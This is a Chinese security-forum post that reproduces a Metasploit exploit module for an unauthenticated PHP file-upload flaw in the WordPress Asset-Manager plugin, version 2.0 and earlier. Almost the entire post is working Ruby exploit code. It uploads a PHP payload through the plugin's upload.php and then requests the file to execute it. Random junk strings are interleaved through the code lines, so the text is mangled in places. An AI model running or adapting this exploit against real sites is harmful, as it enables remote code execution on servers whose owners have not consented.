找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2333|回复: 0
打印 上一主题 下一主题

WordPress Asset-Manager PHP文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:22:33 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。1 @' L0 b$ L& t( d! `
; ^9 d  O% X7 X4 z- X
##- r  j  P9 ]3 W9 C( X
# This file is part of the Metasploit Framework and may be subject to
7 O8 I, r/ S  z; n# redistribution and commercial restrictions. Please see the Metasploit! t, F! f3 L  e9 m
# Framework web site for more information on licensing and terms of use.' D3 E5 z4 m: R
#   http://metasploit.com/framework/
" W3 |8 n5 ~7 p9 R) z7 {9 h/ V##  y( d' u: J( p  x- P( ]

5 L* B, ~0 c4 W. I9 V; Z0 f0 H* Z  erequire 'msf/core'
% W2 c- _* N' Y+ p5 a! W9 Mrequire 'msf/core/exploit/php_exe') O. g6 ~# B/ X& N, j

& ?; u# l* w  j2 m2 gclass Metasploit3 < Msf::Exploit::Remote- _9 R& i( B7 [1 b6 B
  Rank = ExcellentRanking  w5 @4 D" x' l) y- T. w
' g0 i; g9 o3 q  i; `
  include Msf::Exploit::Remote::HttpClient
/ h- Q( G' [% S9 X+ C5 ?  include Msf::Exploit:hpEXE
2 _# `8 j7 M' C+ g & G: L# y: o2 d) e1 n
  def initialize(info = {})
9 l. |6 Z, @% H3 d, K    super(update_info(info,. ^8 k+ |( {. ?. B* M/ U* l
      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
5 W& X3 C- f- W/ H3 o: l* g. e      'Description'    => %q{# O2 M7 Z  y, j* {
        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress: b8 y! B; f; J4 |1 o2 R2 z
        plugin.  By abusing the upload.php file, a malicious user can upload a file to a
( @! s: `0 m6 l- S# {4 p; h; k% f        temp directory without authentication, which results in arbitrary code execution.& L2 \  L7 o" G
      },$ }& @: _9 R/ t
      'Author'         =>4 ]* R2 N. s( |7 U1 Y
        [
1 ^! Y9 _: v3 X          'Sammy FORGIT', # initial discovery4 i) z7 q5 i* d* y3 j7 g8 C! L( G
          'James Fitts <fitts.james[at]gmail.com>' # metasploit module
2 K5 g9 o+ E1 f) L  G) U        ],
9 _: `9 P* l* }$ e' J  n      'License'        => MSF_LICENSE,5 A- s; B) D" ]5 ~9 z+ V; V
      'References'     =>
& |; s- j$ x* `, C* d0 d3 z3 D        [/ e  M6 ?8 {" B* w+ }
          [ 'OSVDB', '82653' ],% p  ~! \( m* s: ]  r* r
          [ 'BID', '53809' ],; d, @: L1 l% Z& n/ G
          [ 'EDB', '18993' ],
6 a# x1 v' U0 C3 t7 [: y          [ 'URL', 'http:// www.myhack58.com /' ]# }: L' G1 S3 p# m0 ^$ M0 `
        ],
( M( R3 Y3 T" |      'Payload'       =>: w# D. I, g! [4 z2 w! {+ B
        {
, H2 W( z) V1 S. I! d          'BadChars' => "\x00",' [) o! d. y: z: G0 s
        },
6 o4 h: l4 H3 U) r" p' q      'Platform'       => 'php',) i$ [" y% b  h9 v, E) n; E# V! t! }
      'Arch'           => ARCH_PHP,, o  r# j( y- M! |
      'Targets'        =>: r! c7 {7 ~5 S1 [$ b
        [3 u2 a' J) D7 ?$ l; ~
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
; k  q7 _! q" w3 u5 v  F5 N          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
5 D* F% j5 V7 N% P- {0 Z0 S4 d: y        ],. L: i0 [% M/ f6 h
      'DefaultTarget' => 0,0 i% |. i! v. f, X: C2 C9 {; R
      'DisclosureDate' => 'May 26 2012'))$ x/ K2 L  L9 R  o8 }+ i7 E9 h7 }

, Y( g% \5 d/ ^% |/ Z    register_options(; ]% i. L  s6 _( @
      [
/ z6 ^' m+ \- R  U$ y' L$ ~( N. E. H        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
: V3 k  l3 ^6 p7 Y8 f      ], self.class)" B& D, D. u; ^; _$ C8 Z; o
  end
" `5 \5 t& E$ l; P$ p, c* m* }7 a
, G5 F+ v3 b% U5 W5 ]* `+ V. l  def exploit
/ c3 }. v% p' @- Z    uri =  target_uri.path
9 }$ _! n5 w" ]: {& |6 g    uri << '/' if uri[-1,1] != '/'
7 z  e! Y( J- f! f  d! n) f6 T4 ]    peer = "#{rhost}:#{rport}"  I+ p. T5 Y! g& k- u7 P$ n
    payload_name = "#{rand_text_alpha(5)}.php"
4 j* i4 j8 ^' C3 b    php_payload = get_write_exec_payload(:unlink_self=>true)! E, W$ p( V; G5 ^1 Q* u

. ]. V# F: x  f  V/ D( `. M    data = Rex::MIME::Message.new0 w+ r+ I0 Z5 r) |( r# g+ D- \
    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\""). ~! u9 {8 c# e- y, [4 |
    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
# z, `  z' J* {$ {9 S 4 v8 ?7 }+ v0 g2 i, ?' m% ]& ^
    print_status("#{peer} - Uploading payload #{payload_name}")
  ~9 F9 h  j# p: h: ?; w, z    res = send_request_cgi({; }! Y; j# y2 [+ W$ C
      'method'  => 'POST',6 \) @, \$ p: b) V5 `7 {
      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",& o9 t* P. \, z$ i
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
  g9 v7 Q' S: D4 l1 t  I5 ~      'data'    => post_data
  o8 b( Y. P8 |    })( t% \! i) a( U! `

+ K- E  R# S$ s1 O1 }, i6 w    if not res or res.code != 200 or res.body !~ /#{payload_name}// H# y$ R+ @1 D$ k
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")8 K# Y* n! O$ B
end, ~. S+ [& I5 s( _; S" r% i  T

7 K4 x$ U$ e2 F8 O/ Y7 p) r: O) B    print_status("#{peer} - Executing payload #{payload_name}")
) i# e$ L3 I& ^8 J; x+ U    res = send_request_raw({1 ]1 H! `$ h: q" G* C  |
      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
6 R/ S( t- _0 f! h1 }  [7 t6 J      'method'  => 'GET'
* G% x9 P, f" u# j$ e    })& H% L/ a. j- H7 i4 W, q5 Y

2 N) x' f" ^- F    if res and res.code != 200
* v7 H* J$ f$ A3 C0 d9 r      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")' R' U/ b* X6 R$ Q. c
    end
2 j& D9 ~6 j* _  end
0 R; w9 i7 @3 E9 o6 Uend
6 N' d% L* Y9 T6 `! L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表